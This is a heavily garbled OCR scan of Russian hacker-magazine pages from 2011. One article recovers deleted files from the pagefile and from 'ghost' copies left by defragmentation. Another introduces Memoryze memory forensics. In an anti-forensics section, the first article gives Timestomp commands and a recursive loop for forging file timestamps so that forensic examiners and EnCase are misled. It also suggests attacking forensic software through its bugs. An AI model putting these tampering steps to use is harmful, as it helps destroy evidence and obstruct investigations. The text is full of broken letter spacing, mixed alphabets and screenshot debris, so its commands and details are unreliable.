В кач естве входн о го файла я указал файл подка ч ки /mnt/hda 1 / pagefile.sys, а д и р е ктор и ю для сохра н е н и я результатов - /root/ ХАКЕР 0 3 1 1 461 2 0 1 1


i Результат работы Foremost - все найденное аккуратно разложено по папочкам Копируем файл подкачки при помощи AccessData FТК Imager

НЕОЖИДАННЫЙ СЮРПРИЗ ЖДАЛ МЕНЯ В ПА П КЕ COOKIE БЕГЛО ПРОЛИСТАВ НЕСКОЛЬКО ФАЙЛОВ , Я ОБНАРУЖИЛ АДРЕСА РОЛИКОВ , КОТОРЫЕ Я СМ ОТРЕЛ ЧУТЬ ЛИ НЕ ГОД НАЗАД НА YOUTUBE . -

Аудиофайлы и файлы изображений, записанные следующим образом mрЗ -7jpg-7 m рЗ -7 jpg-7mрЗ-7 jpg

i n fo

П рогра ммы для безопасного удале­ ния данных: Eraser 6.0.8: eraser. heidi . ie ; SOelete 1 .5 1 : technet . m ic rosoft. com/ru-ru/ sуsi пtегпаls/ Ь Ь897443; Freeraser: codyssey. com/products/ freeraser. html; Overwrite 0 . 1 . 5 : kyuzz.org/a ntirez/ overwri te. html; • Wipe 2 . 3 . 1 : wipe. sourceforge. net; • Secure Oelete : objmed ia.demon . co.u k/freeSoftwa ге/ secu re Oelete. ht m l; C C leaner 3.03: pl ri form .com. •

Искуственно созданная разреженность файлов O esktop/pa g e_fi le . П рограмма начала свою работу. За короткое время Forem ost сумел найти и извлечь 524 фа йла. Стати стика извл еч ен н ы х файл о в j pg : = 7 3 gif : = 4 gif : =

19

j pg : = 7 7 j pg : =

95

doc : =

1

pgp : = 6 5 pgp : =

62

pgp : = 4 4 pgp : = 3 6 'da t : = 7 l nk : = 3 cookie : = 3 8

Утилита удоб н о отсорти ровала все файлы п о типу и разложила по р а з н ы м п а п к а м . П е р в ы м дел о м я полез п р о ве рять. что же попало в п а п ку j p g . И з всех вос­ ста но в л е н н ы х файлов о коло п ол о в и н ы отказалось отоХАКЕР 0 3 ' 1 461 2 0 1 1

бражаться . зато другая - отл и ч н о п росматр и валась. И ч его тол ько н е было с р еди карти нок: п а ра фоток. кото р ы е я не та к да в н о уда л и л ; м н о го м е л к и х изобра­ жен и й с веб-сайто в ; а вата р к и друз е й из Facebook и п рочее. Ч е стно сказать. я не пла н и ровал обна ружить та к м н о го изображе н и й . Кроме картинок м н е хотелось е щ е узнать. что за единств е н н ы й doc-фаЙл. котор ы й п о п а л в ф а йл подка ч к и . Н о . к сожал е н и ю . Word л и ш ь ругнул с я . что фа йл п о п о р ч е н и н е с м о г е го открыть. Н еожида н н ы й с ю р п р и з ждал м е н я в п а п ке cookie - б е гл о п рол и став нескол ько файлов. я обна ружил адреса р ол и ко в . котор ы е я с м отрел чуть ли не год назад на YouTu be. В от и еще одн о доказател ьство . что даже удал и в в браузере все куки и исто р и ю . все р а в н о м о ж н о п р о колоться . Что тут можно сделать? Есть нескол ько в а р и а н т о в . П е р в ы й - откл юч ить вообще ф а й л подка ч к и . Д л я этого надо зайти в « Со пt го l Рапеl-7 Sуstе m а п d Sесu гitу-7Sуstе m-7Аdvа п сеd System Sеtt i п g s -7 Рег fогmа псе-7Аdvа п сеd-7Viгtuаl М е mогу-7 С hа п g е » и в ы брать о п ц и ю « N o р а g i п g f i le» . Второй в а р и а нт з а ста в ить операци о н ную систему зати рать все да н н ы е в файле подка ч ки перед в ы кл ю ч е н и е м компьютера. Та кой режим а ктиви руется. если уста н о в ить для кл юча С lеагРаgеFi lеАtShutdоwп в разделе H KEY_LOCAL_ МАСН I N Е\SУSТЕМ\С u ггепtСопtгоlSеt\Сопtгоl\Sеssiоп Мапаgег\Меmогу M a nagement значение « 1 » . К сожа­ л е н и ю . второй м етод о ч е н ь медл е н н ы й . и в ы кл ю ч е н и е системы будет з а н и мать достаточ н о длител ьное в р е м я . та к что п р и менять е го на п р а ктике и л и н е т - решай са м . Аналогичная ситуа ция и с файлом h i berfil.sys. Его

Все упомя нутые в статье программы ты може ш ь найти на нашем диске .

� ОЗ 1


"'-- 1 1> -

j f!] Coxp".T� ...6р..._• ••In.. 1Iи.I:

� ""

�'

ICrмcac

•.............

59,'"

- 1--1

а_ . ....... .­ .­ .­ . --

.920

"""" c.nonEOSSO ....... .000

72

До дефрагментации DiskDigger сумел найти три картинки также можно попросту откл ючить, что с э ко н о м ит дополнител ьное м есто на диске. Кстати , исследовать ф а йл п одка ч к и можно и под в и ндоЙ . Но та к как о п е р а ц и о н н а я с истема не дает е го просмо­ треть и с коп и ровать с помощью штатн ых с р едств, н а м по надоб ит­ ся п р о гра м м ка FTK I ma g e r lассеssdаtа .соm/SЩJQогt/аdоwпlоаds) . Переходим в раздел « Fi le -7Add Evid e n c e I t e m » и указываем диск, где находится файл подка ч к и . Н а панели слева отобразится дерево каталогов, где н еобходимо в ы б рать pag efi le . sys и вос­ пользоваться фун кцией э кспорта че рез контекстное м е н ю . Файл подкачки без п робл е м с к о п и руется в ука з а н ную нами п а п ку, и н и ка к и е бло к и ровки с истем ы с этого м о м е нта не п о м е ш а ют его а н а л и з и ровать. Для а н а л и з а , кстати , м ож н о в о с п ол ьзо ваться D i s k D i g ger I d l skdiggero rg) и л и PhotoRec Iwww.cgsecurity.org/wikl/ PhotoRec) . П е р ва я - п р о ще , но вторая умеет восста навли вать бол е е ш и р о к и й круг разл и ч н ых форматов файлов.

Деф рагментация

П е р е йдем к следующей п р и ч и н е появл е н и я фа й л о в - п р и з р а ков. Чтобы было н а глядней и п онятней - о п ять же п р оведем н еболь­ шой э кс п е р и мент. Для н его н а м по надобится фл е ш ка и у м е н и е обра щаться с W i n H ex· o M . Сначала обеспе ч и м усл о в и я д л я о п ыта , уда л и в все да н н ы е с фле ш к и . Для этого за пусти м WinHex, отдади м кома нду О р е п Disk и в п о я в и вшемся окне выберем н а ш дева Й с . П осле открытия пол ностью выдел я е м все е г о содержи м о е I C trl+A) и заби ваем нул я м и ICtrl+L). Одно з а м е ч а н и е - п роцесс п ереза п и ­ с и з а н и мает достаточ н ое кол ич ество в р е м е н и , та к что рекомендую взять фл е ш ку п о м е н ьш е . С этого м о мента на драйве нет да н н ы х и , более того, н ет файловой систе м ы . Та к что следующ и м ш а гом будет формати р о в а н и е флешки в NTFS. П о умол ч а н и ю Wi n d ows ХР дает фо рмати р о вать фле ш ку только в FAT, но для н а ш и х м а н и ­ пул я ц и й требуется NTFS. Чтобы о п е р а ци о н ная с и сте ма позволила отформатировать устройство в нужную н а м файловую с и стему, н еобходимо за йти в диспетчер устройств, н а йти та м фле ш ку и в п а р а м етрах уста н о в ить опцию « Optimize for performance». После этого в и нда с м ожет отформатировать фле ш ку в NTFS. Цель нашего оп ыта - посмотреть, что происходит с файл а м и во время дефрагмента ц и и . Для этого создадим и с кусствен ную фраг­ ментацию на нашем носителе информации. Возьмем три л юбых j реg-файла и три каких-нибудь аудиофайла или видеокл и п а Iглав­ ное, чтобы и х размер был больше jpeg'oB) и скоп и руем и х на фле ш ­ к у в следующем порядке : 1 . тр3, 1 .jpg, 2 . тр3, 2 . j p g , 3. тр3, 3.jpg. И нтересно, ка к же о н и расположил ись на диске? Чтобы посмотреть это, воспол ьзуемся тулзой DiskView от М ар ка Руссиновича Itechnet.

� 032

Файлы изображений после дефрагментации распола­ гаются с самого начала и друт за друтом microsoft.com/ru -ru/sysinterna ls/bb896650) . О н а вы водит графиче­ скую схему диска, на которой можно оп ределить местоположени е да нных или узнать, какой файл занимает т е и л и и н ы е кластеры Iдля этого нужно щелкнуть на кластер мышью). Двойной щелчок позволя­ ет получить более подробную информацию о файле, которому выде­ лен кластер. Запускаем програ мму, выбираем нашу фле ш ку и нажи­ маем < R efresh > . С н ачала идет зеленая полосочка, обозначающая системные кластеры, а вот сразу за ней - область синих кластеров, представляющих наши файл ы , записанные друг за другом. Теперь создадим фрагмента цию, удал ив все аудиофаЙлы. Снова нажима­ ем < Refresh> и види м, что перед каждым J реg-файлом есть пустая область. Теперь ненадолго переключимся в Win H ex. Чтобы еще раз убедиться, что на флешке нет н и ка ких л и ш н и х графических файлов, проведем поиск п о си гнатуре: и щем последовательность « jfif», при­ сутствующую В заголовке любого j peg-фаЙла. В итоге редактор, ка к и ожидалось, нашел ровно три таких последовательности, по числу оставш ихся файлов. Ну что ж, п ри шло время навести порядок: не дело, когда файлы вот так разброса ны по диску :1. Запускаем деф­ рагментацию, стол ь л юбимую пользователя м и , для нашего носител я : C : \ Documents and S e t t i ng s \ Adrn i n i s t rator>de f rag h : Windows D i s k Def ragmenter Copyright

(с)

2 0 0 1 М i с r о s о f t Corp .

Sof tware Interna t i ona l ,

and Execut ive

Inc .

Ana ly s i s Report

7 , 4 7 GB Tota l ,

Fragmented

7 , 4 3 GB

( 99% )

Free ,

0%

Free ,

0%

( 0 % f i l e f ragmentat ion )

Def ragmentat ion Report

7 , 4 7 GB Tota l ,

Fragmented

7 , 4 3 GB

( 99 % )

( 0 % f i l e f ragmentat ion )

Дефрагмента ция п рошла, посмотри м , что и з м е н илось н а флеш ке. Жмем на < Refresh> в програ м м е DiskView, и что М Ы видим? Фа йл ы , которые располагались на расстоя н и и друг о т друга, а ккуратно перенесены в начал о диска , и располага ются строго последова­ тел ьно. А теперь в н и м а н и е l Дефрагмента ция скопи ровала файлы в начало диска , расположив и х последовател ьно, но п ереза п и сала л и она и х п редыдущую коп и ю нул я м и ? Чтобы ответить на этот вопрос, о пять обрати мся к мощному ш естнадцати р и ч н о му реда кто­ ру. Снова п р оведем п о и с к по « jfif» . О п - п а , тепе р ь вместо трех най­ денных строк получаем целы х ш есты И это может означать только одно - теп е р ь каждый файл п р едставлен в двух экземплярах. Л юбой из н и х л егко восста н а в л и ва ется с помощью DiskDiggег'а и л и Photorec·a. А теперь п р едста вь, что вм есто графических ХАКЕР 0 3 / 1 46/ 2 0 1 1


-"..� ,

� � CoXP.""T�

.

бр.М"... ф.""..,

.

� , :.!

;' �.,:""

,

- .. '

J

''''' 1 ����===I=:::J II ,,,,,,o'''. I ''''''' ...

!8нА: ICIм;oIr;

:::J

До перезаписи по смещению 274432 начинается пер­ вая картинка

'''''' '000 ""'"

GnlnEOS5D -

.

72

� -_ ..

I

""-""......

.

-

.

".....

-:.... ==: ...

_ _

-== �=.... = =' ... _ = .. :::: �:..:L. � ...J. I

После дефрагментации файлов DiskDigger находит уже 6 файлов вместо 3 � ... .. O _" . 1I' 1t

-" • • "'0

... " f. ' � �" � .. .. ..

..

1 � eoxpaM"ТIo ...БР8МММ. Ф.iin..

I ВI\I,: 1Crк:at

:1·"\ '{,о'

. ;_ ;�iш ЕЁЕ�§�Ё� E�������§ .. . . :..:..,. ... .. s�-·1 §::g §§§�§ §�§ §§�§§ §�§ ::.. : ... . .. .. . .. .. . .

. ..

. .. . . .. .. .. .. .. .. .. .. . .. .. .. .. .. ..... "... ._ .... .... .. .. .. .. .. .. .. .. .. .. .. .. .. . .. .. . . ._....... .. .. .. .. .. .. .. .. .. .. . .. .. .. .. .. . ' ......... .. .. .. .. .. .. .. .. .. .. .. . .. .. .. ..

.

_..

.

� ����ШШШ �Ш�Ш •.. . �ЕШШ '-II - ���lli �ЕШШ . . ........... .. .. .. . .. .. .. .. .. .. .. .. . .. .. .. ........... .. .. .. .. .. .. .. .. . . .. .. .. .. .. .. ..

.

.. . .

,S i

файлов у нас были ка кие-то конфиденциал ь н ы е документы и л и ф а й л ы с да н н ы м и п о кредитка м . Даже есл и б ы м ы и с п ол ьзовали ути л иты типа Sdelete и п е ре п и сал и п еред удале н и е м эти три файла сотни раз, и х п ри з р а к и все р а в н о оста л и с ь б ы на диске и существовали та м неоп редел е н н о дол гое в р е м я . До тех п о р , п о ка не будут п ереза п ис а н ы ч е м -л ибо еще. И все это время их можно будет восста н ов ить !

Лучшая з а щ и та э,.о напа де t-l ие

Что можно сделать, чтобы усложнить жизнь л юдя м , к которым может попасть для экспертизы твой ком пьютер? Тут есть несколько ва р и ­ антов. В случае, е с л и на комп ьютере н а ш л и « интересный» файл, время его созда ния будет веским доказательством п ротив е го вла­ дельца. Чтобы проследить цепь событий , эксперты опираются также на время созда ния/доступа/модификации файла. Та к почему бы н е запутать следы? На сайте metasDloit . com есть такая замечательная утилита, ка к Timestomp Im etasDloit.com/data/a n tiforensics/timestomD. ехе] , которая позволяет менять время созда ния, модификации ил и доступа для заданного файла. Основные опции для ее использова ния. < d a t e> задает дату последней модификации файла -а < da t e> задает дату последнего доступа к файлу - с < da t e> задает время со здания файла - е < da t e> задает время модификации файла ,

хранящееся в MFT

<date> задает четыре вышеперечисленных параметра

ХАКЕР оз / 1 46/ 2 0 1 1

ICo.!ep!at!!e

Г�

1

После перезаписи по смещению 274432 одни нули

-z

,29

.

:---.. -= :::::::: :: :: :: : :: :: :: :: : :: :: :: :: : :: :: о ••

....

� AllCQ И8IIpII8tO, 8tero � ФWme: О,

-�

==-.-' ,: ::::;�: :: :: : : :: :: : :: : :: : : : : : : . -- OMN"J",. .. .. .. .. .. .. .. ,• •,

3

_____-=::"'"""'

.."'О .

--

1 """' 1 1-

- �,29

_

-' ••••••••••••••••••••••I ,�

I

DiskDigger не смог найти ни одного файла после ОдНо­ кратной перезаписи диска Дата задается в следующем виде. DayofWeek Month\Day\Year H H . M M .5S [AM I PM ] . Есть еще очень и нтересная опция - Ь , кото­ рая уста навли вает вышеперечисленные атри буты та ким образом, что из вестная в кругах комп ьюте р н ы х к р и м и нал истов программа EnCase их н е в идит и отображает пусты м и J Та ким образом, чтобы поменять атрибуты файла, достаточ н о выполнить в консоли команду. t imestomp , exe boot , in i - z " sunday 1 / 1 2 / 2 0 9 9 1 0 : 0 0 : 0 0 рт " . Л егко можно набросать с кр и птик, кото р ы й будет рекурсивно менять в р е м е н н ы е атрибуты файлов. П росте й ш и й вариант в ы глядит та к. for / R c : \ t ool s \ % i i n

(*)

d o t ime stomp , exe % i

" monday 3 / 1 2 / 2 0 0 9 1 0 : 0 0 : 0 0 рт "

-z

Есть и другие способы подпортить жизнь товарища м-исследователя м чужих Н D D . В своей работе они испол ьзуют програ м м ы , написанные обычными л юдьм и , а потому - содержа щими ошибки. Да-да, мы можем испол ьзовать уязвимости программнога обеспечения, при­ меняемого для поиска ул ик. Подробней об этом можно поч итать в одном из докладов с конференции DefCon. isecDartners.com/fi les/ iS EC- В геа ki пg Forensics Sоftwа ге-РаDег.vl 1 . B H2007.Ddf.

За кл ючение

« Безопасное удаление да н н ы х » - это не панаце я . С м е ю тебя заве­ р ить, что о п и са н н ы е лазейки - н е еди н ств е н н ы е в своем роде. И тот, кто по роду деятельности проводит экспертизы компьютеров на п рофессиональном уровне, знает, где и как на йти н еобход и м ы е ему да н н ы е . Теперь т в о я безопасность в т в о и х руках - не дай « охотн икам за п р и веде н и я м и » найти ни одного « п р израка » на твоем ком п е . А еще луч ше - не да вай им повода п р иходить к тебе в гости J :х:

� ОЗЗ


АНАЛИЗАТОР ПАМЯТИ ОФЛАИН

И споль зvем Memorvze дл я исследовани я сист емь Г и поиска малва р и

С)

Б оль ш инство утилит для поиска малвари анализируют систему в режиме iive , то есть во время ее ра б оты. Но мало кто знает о существовании программ , которые, помимо прочего, спосо б ны выполнять так называемые офлайн-исследования, позволяя отыскать зло в памяти компьютера, когда к тому нет доступа или он воо б ще выключен. Н е которое время назад я открыл для себя новый способ поиска мал вари, кото р ы м с тех пор эффективно пользуюсь. По п ра вде говоря, основ н ы м назначением при меняем о го и н струмента является вовсе не поиск руткитов, а комплекс н ы й анализ памяти. Н о та к

� 0 34

получ илось, что вкл ю ч е н н ы е в н е го тех н и ки идеал ьно подходят для того, чтобы отыскать хорошо зата и в шуюся в с и стеме малварь. С утилитой М а пd i а пt's M e moгyze я п оз н а комился, когда а ктивно изучал програ м м н ы е решения для ком пьютерной к р и м и налистики. ХАКЕР 0 3 / 1 46/ 2 0 1 1


Specify if you w....t tx> run Мemoryze on 'deod memorу' (г memorу �) or on 'ое memorу·.

OperaUons оп '1ive memor • aUoт users tx> ас . е and anaI мм on the host. .. Analyze Dead Мemory М:'imagеs\дudits'/:ТОVдРС\201102042202ЗS'fnemorу.Оf06ЗbOd.img r

Acquire (aлd/or) Analyze иУе Мemory

Проблемы с загрузкой драйвера Memoryze П о м и м о основной категор и и продуктов, п редназна­ ченных для глубокого изуче н и я дисковых накоп ителе й , ш и роко используются также р е ш е н и я для анализа операти вной памяти. Та кие исследова н и я выдел я ют в особ ы й вид э кспертиз - М етогу Forensic. Н е кото рые из п риложе н и й l и в том ч и сле M emoryze) умеют н е только вы полнять исследов а н и е « жи в о й » с и сте м ы , н о и а н а л и з и ровать образ п а мяти, в который заблаговременно было п омещено все содержи мое операти в н о й па мяти компьютера. Это дает бол ьшой простор для деятель­ ности. И м ея та кой образ, н ичто не мешает позже разо­ браться, какие п р иложения за пущены в с и стеме IHa м омент созда н и я да м п а , разумеется) или, н а п р и м е р , с ка к и м и хоста м и вза и м одействуют и нтересующие нас п роцессы. Ну и са м о собой, это еще и отл ич н ы й способ для п о иска мал в а р и . М ож н о сделать да м п на п роблем­ ной м а ш и н е и далее н а своем собстве н н о м комп ьютере без ка ких-либо неудобств разби раться , какая е рунда за гружена в п а м яти . Тут надо пони мать, что в образ помещается все содержимое памяти, которое с ч иты­ вает и а н а л и з и рует специал ьный парсер. И ка к и м и б ы п родв и нуты ми м етоди ка м и для сокрытия а кти вных про­ цессов и дра й веров н е пол ьзовалась малварь, и х при­ сутствие обязател ьно будет отражено в да м п е .

Что такое Memoryze?

П рогра м му Memoгyze в кругах комп ьютерных к р и м и н а ­ л и стов знают н е п онаслышке. Это мощнейшее средство анализа па мяти для м н о ги х стало частью джентль­ м е нского набора, настоящей п рогра ммой m u st have, которая не просто л ежит про запас для подходя щего случая, а действител ьно часто испол ьзуется. Ее созда­ теля м и являются Джэм и Батлер и П итер Силбермэн, два м а н ь я ка-ха рдкор щ и ка в области а нализа па мяти и малвари. Ты можешь п р я м о сейчас сказать им спасибо, потому что о н и н е только разработали замечател ьный и н струме нт, но еще и делятся и м сове р ш е н н о бес­ платно . Дистрибутив доступен для за грузки из раз­ дела с фриварными програ м м а м и компа н и и M a n d ia n t : та nd ia nt. com/prod ucts/free softwa ге. Что мы можем получ ить, и спол ьзуя M e moгyze: • пол н ы й образ всего диапазона систе м н о й па мяти Iбез и с пользования АРI-вызовов), сохра н е н н ы й в фа йл для дал ьнейшего анализа; • да м п адресн ого простра нства любого п роцесса, вклю­ чая список загружен н ых DLL и ЕХЕ, кучу и стэк Iэтот дамп можно дальше исследовать в дизассембл е р е ) ; • образ всех загруженных драйверов и л и некоторых из них; • П ОЛ Н Ы Й список всех п роцессов, в ключая те, что сп рята ны руткита м и , п р и ч е м для каждого процесса есть возможность определить все хэндлы I н а п р и м е р , ХАКЕР 03 / 1 46 / 1 0 1 1

t!ext >

Выбираем образ ДЛЯ анализа используем ы х файлов или кл ючей реестра), сете в ы е сокеты, и мп о ртируе м ы е и э кспорт и руе м ы е функции и та к далее; • все строковы е переменные, испол ьзуемые процесса м и ; • п ол н ы й с п и с о к всех драйверов, в том ч исле т е , кото­ рые маски руются малварью; • перечень всех модуле й ядра ; • перечисление всех уста н о вл е н н ых хуков lони часто исп ол ьзуются малва рью); • и м н о гое другое. Вообще, когда говорят о M e m o ryze , чаще всего и м е ют в виду не одну, а две утил иты : консольную M e moryze и G U I - п р иложе н и е Audit Viewer. О н и тесно связа н ы между собой. M emoгyze создает дамп и п а рсит разл и ч н ы е структуры, чтобы извлечь и нтересующие да н н ы е . Н о работать в консоли не с и л ь н о удобно, поэтому в связке и с п ол ьзуется другая утилита - Audit Viewer, которая позволяет работать с извлече н н ы м и да н н ы м и через удо б н ы й и нтерфейс. Та ким образом можно узнать все о том , что в м омент созда н и я образа было за пущено в системе. В некоторых ситуа циях очень удобно и м еть п рограмму п р и себе, поэтому ее луч ше всего разместить на фл еш­ ку достаточ ного объе м а , чтобы туда поместился еще и сграбл е н н ы й дамп памяти. К счастью, утилита из короб­ ки я вл я ется portable, и уста нов ить ее можно п р я м о из командной строки: ms i exec / а Memory z eSe tup . msi

/ qb ТАRGЕТDI R=путь_До_флешки_и_папки_

на_ней .

Не л и ш н и м будет з а п и сать на флешку и файлы Audit Viеwег'а, чтобы сразу и м еть возможн ость п роанал и ­ з и ровать получе н н ы й да м п или вообще выпол н ить « жи вое» исследов а н и е систе м ы .

Создаем об раз памяти

Теп е р ь, когда все п р и готовле н и я з а в е р ш е н ы , попро­ буем п рограмму в деле. Ка к я уже говорил, M e moryze работает из командной строки. Но для бол ьшего удобства с п рограммой поставляют н ескол ько batch­ скриптов для выпол н е н ия на иболее тип и ч н ых зада ч . Та к, д л я получ е н и я образа с п ол н ы м содержа н и е м опе­ ративной па мяти есть с це н а р и й M emoryD D.bat, е го-то мы и будем испол ьзовать. П осле запуска он генери рует конф и г с настрой ка м и и в ы п ол ня ет memoгyze.exe с нуж­ н ы м и п а ра метра м и : « G :\\\\memoгyze\\\\Me m o ryDD.bat» . П осле выполнения команды есть два вари анта : про-

Вообще говоря, анализи ровать дамп па мяти можно и без использова н ия Audit Viewer·a. Для получ ения наиболее востребова н н ых данных с Memoryze идут специальные Ьаtсh-сцен а р и и . Та к, чтобы получить список всех п ро­ цессов из системы, достаточно запустить Process.bat. Вывод при жел а н и и можно детализи ровать, запустив тот же сце­ нарий с нужными ключа м и . Н а п ример, « ProceSS.bat -ports true» помимо непо­ средствен н о сп иска процессов указывает еще и на открытые ими порты . · Но , как ни крути, G U I ­ оболочка для изуче­ ния образа па мяти в использова н и и куда приятнее.

� 035


Как это может помочь п р и Reverse Engineering? С п омощью M emoryze можно получ ить образ конкретного про­ цесса или драйвера со всеми е го б и н а р н ы м и секци я м и из физи­ ческой памяти. Причем можно извлечь его как с «живой» систе­ мы, так и из ранее созданного да мпа оперативной памяти. На деле это позволяет, к п р и меру, обойти антиотладоч н ы е тех н и к и , котор ы е часто реал изованы в малва р и , после чего п роцесс и л и драйвер можно а нализировать в л юб и мом дизассемблере. В п рогра м м е заготовл е н ы несколько с пециально заточе н н ы х для этого аспекта сценариев. Создан и е образа п роцесса : • Proc e s s DD . bat - р i d< РID> - получение образа п роцесса из запущенной систе м ы ; • Proce s s DD . bat -pid < P I D > - input < f i l ename> ­

извлечение образа из и м еющегося дампа с па мятью систе м ы . С извлечением драйвера и сохра нения в файл в с е а налогично: • Dr iverDD . bat -driver<drivername > ; -driver<drivername> - input < fname > .

• Dr iverDD . bat

гра мма успешно создаст дамп с п а м ятью или у нее н и чего не в ы йдет. Последнее о ч е н ь вероятно . Дело в том , что для работы M e m o ryze испол ьзует kernel-mode драйвер, предоста вляющий п рограмме прямой доступ к памяти. Н ет драй вера - нет да м п а . Есть несколько п р и ч и н , по которым д р а й в е р не сможет за грузить­ ся, но в первую очередь - из-за отсутствия прав адм и н истрато р а . Поэтому убедись, что за пускаешь ее из рутовой командной строки. Другая расп ростра н е н на я п р и ч и на - а нти в и рус, кото р ы й может препятствовать п р я мому обраще н и ю к п а мяти. Возможно, что на время его п ридется откл ючить. Если все п ройдет усп е ш н о , полу­ ч е н н ы й да м п будет сохранен в п а п ке с в ы ходн ы м и резул ьтатам и [ п о умолча н и ю в п а п ке с M emoryze/Auditsl. Структура каталога устроена та ким образом, чтобы п о вто р н ы е в ы п ол н е н и я п роцеду­ ры не перез а п и с ы вал и ранее получ е н н ы е образ ы . Та к что всегда л егко оп ределить, на каком комп ьютере и когда был создан образ.

Анализи руем дамп

Дл я анализа и прос мотра образа п а м яти, как я уже сказал , и с п ол ьзуется другая утилита - Audit Vi ewer. П ри ч е м содерж а н и е о п е рати вной па мяти н еобязател ьно долж н о б ыть сда м п л е н о с помощью M e m oryze. Го раздо бол ьшее з н а ч е н и е им еет о п е р а ­ ционная с исте м а , на которой созда вался образ. П ри ч и н о й тому Я В Л Я ЮТСЯ структу р ы п а м ят и , котор ы е м о гут з н а ч ител ьно отл и ч ать­ ся от одной в е р с и и операционной с и сте м ы к другой . В н е кото р ы х случаях даже оди н уста н о влен н ы й [ ил и , наоборот, н еуста н овл е н ­ н ы й l патч может вл иять на воз м ожн ость в ы п о л н ить а н а л и з да н ­ н ы х . Анал изатор м ожет па рсить только структуры из вестной ему ОС. П оэтому, п режде ч е м говорить, что M em o ryze и Audit Vi ewe r не работают, н еобходимо убедиться , что ты не п ыта е ш ься в ы пол­ н ить а н а л из н е п оддерживаемой систе м ы [ н а п р и м е р , Wi n dows ХР S P 1 1 . к счастью, для внуш ител ьного с п и ска О С все долж н о без п робл е м п олуч иться : • Windows 2000 S e гvice Pack 4 [32-bitl; • Windows Х Р Seгvice Pack 2 and S e гvice Pack 3 132 - b itl ; • Win d ows Vista Seгvice Pack 1 a n d S e rvice Pack 2 132 - b i t l ; • Windows 2003 Seгvice P a c k 2 [32 - b i t l ; • Wi ndows 2 0 0 3 Seгvice P a c k 2 [64-bitl ; • Windows 7 Service Pack О [32-bitl ; • Windows 7 Service Pack О [64- bitl ; • 'Wi n d ows 2008 S e rvice Pack 1 a n d S e rvice Pack 2 [32- b i t l ; 'Wi n d ows 2 0 0 8 R 2 S e гvice P a c k О [64-bitl. З вездо чкой в этом с п и ске обоз н а ч е н ы те с и сте м ы , п оддержка кото р ы х н аходится в бета -тести рова н и и . Для а на л и з а да м п а достаточ н о з а п устить a u d i tviewer. exe и в ы брать пун кт « C o n f i g u re M e m o ryze». Н е о б р а щ а й в н и м а н и я на о п ц и ю « О р е п Exist i n g •

� 0з6

choose wt'ich теthod you want tn use 10 erunerate drivers пom menory: 1" Erиner... ck'-s Ьу _ memo<у "" ""'" objeds (harde- to bypass) Etunвa� � foIowing «юutdrive's: --------, r;; Erune'ate а drive's stmgs � Enunerate а cИvers Щюr"t table r;; Etunerate а drive"s export table 1" "erпv Q;gital 5qlabses Г юs Г SНAI Г SНA2Sб

r�Erиner'"

г Erиner... ...,.,.. bv traversroo the Pst.oade<foIo<Ut (.osIy bypassod) the folo wr.g aboutck'-s: -, Г Enumeral:e а drivers strint;ls г Eru..rnerвte а drivers import table Г Ern.rnerate а drrvers export taЫe

I

Доступны различные алгоритмы ДЛЯ поиска драйверов

� --

-- ---l� -

Do you wмt to eruneration information for � proce>ses, or а spedRc process? -------, r. AI PrOCOSS6 r Spe<ify

r

рюl ..1 -'----

spe<ify "'� ....... r s.orcn r..pr . OCOSS6 ЬуЬу'"�(such .. vxoosssiq1obso): Etunerate for eac:h process: 1" Al Open _ 1" ........"., sedions (.... DLL lis!ino)

Г Vorify Q;gital sq,.bs.. 1" 0000 Po<ts .. ........"., Г S_ " memo<y Г �! _ ... т.ы. r... al loaded � _ . PrOCOSS6' _... "'"'"

... TobIo r... al loaded � _ . procosses' _... "'"'" г Export Addr 1" Dotect Injocted DLLS Г юs Г SНAI

Г !=iI-IА'Ci6

Настройки ДЛЯ анализатора процессов Results» - о н а п редн а з н а ч е н а дл я п о вторн ого открытия уже существую щего файла с а на л и з о м да м п а . Для в ы пол н е ­ н и я и сследо в а н и я п ро г р а м м а п о п росит тебя указать путь д о и с п ол н я е м о го файла M em o ryze и в ы брать п а п ку д л я сохра н е ­ н и я резул ьтатов . Далее есть д в а в а р и а нта : в ы п ол н ить а на л и з и м е ю ще гося д а м п а па м яти Iвозможно, с сове р ш е н н о другого ко м п ьюте раl и л и п р о а н а л и з и р овать п а м ять с текущ е го ком п ью­ те р а . В ы б и ра е м п е р в ы й р е ж и м и ука з ы в а е м путь до i m g-файла с н а ш и м образом. Несколько следующ и х ш а гов мастера необходимы для то го, чтобы указать, что и м ен н о нас и нтересует и насколько пол ную и нфор­ мацию м ы хотим получ ить. С каже м , есл и тебя и нтересуют только дра й в е р ы , кото р ы е работают в системе, можно не п а рсить и нфор­ мацию о хуках и п роцессах . Подход « поставить все гал ки » здесь не п р ойдет Важно п онять простую вещь: чем детальнее анализ будет в ы п ол н ять Audit Viewer, тем дол ьше она будет это делать. В некото р ы х случаях п роцесс может затя нуться на цел ы й день. Н о так и х п ыток л егко можно избежать, м и н и м из и руя количество п роверок, кото р ы е будет в ы п ол нять п ро гра м м а . Н а п р и м е р , вклю­ ченная опция для извлечения строковых п е р е м е н н ы х [« Extract stгi п g s » 1 н е п ре м е н но п р и ведет к многочасовому анализу. П оэтому этот вид исследо в а н и я реко м ендуется оставить на повто р н ы й проход [есл и такой п онадобитсяl, в ы пол н и в в п е р в ы й р а з только те проверки, котор ы е тебе действител ьно нуж н ы . Хорошие резул ьтаты п р и высокой скорости скани рования могут дать сле­ дующие настройки ска н и рован ия : режим исследования процессов [« Process E n u m i ration » 1 без о п р еделения хуков и драйверов, но с бол ь ш и нством в кл ю ч е н н ы х опций за и с кл ю ч е н и е м уже упо­ мянутой « Extract Strings» . Отдел ьно идут опции для извл е ч е н и я [Acquisitionl из па мяти или образа па мяти адресного п ространства драйверов или процессов. В основном это нужно, есл и ты имеешь кон кретн ы е намерения и сследовать что-то из извл е ч е н н ы х да мпов в дизассемблере. Ка к только все настройки а нализа будут зада н ы , Audit Viewer нач н ет работу, отобразив на экране п р о гресс-бар. В окне п рограм­ м ы п р я мо во время п а р с и н га дампа па мяти будут отображаться результаты анализа, включая информацию о п р оцессах, драйве­ рах, хуках [ в зависи мости от в ы б ра н н ы х HacTpoeKI . Тут п р идется подождать, но зато отчет тебя непременно впечатлит. Ч его стоит ХАКЕР 03 / 1 46/ 20 1 1


Batch Flles

ТО �ke Memoryze easier to Ilи, each XML scnpt has been wnlpped Ьу а COfТesponding batch file. AlI t:he parameters in the XMl eJl:ecution saipt сап ье modified from the command line using argument5 to t:he batch file. Тhe bat.ch files include:

CI�"""":-'::-,--

,-

-

" '':''''�I _ ill!e

--�

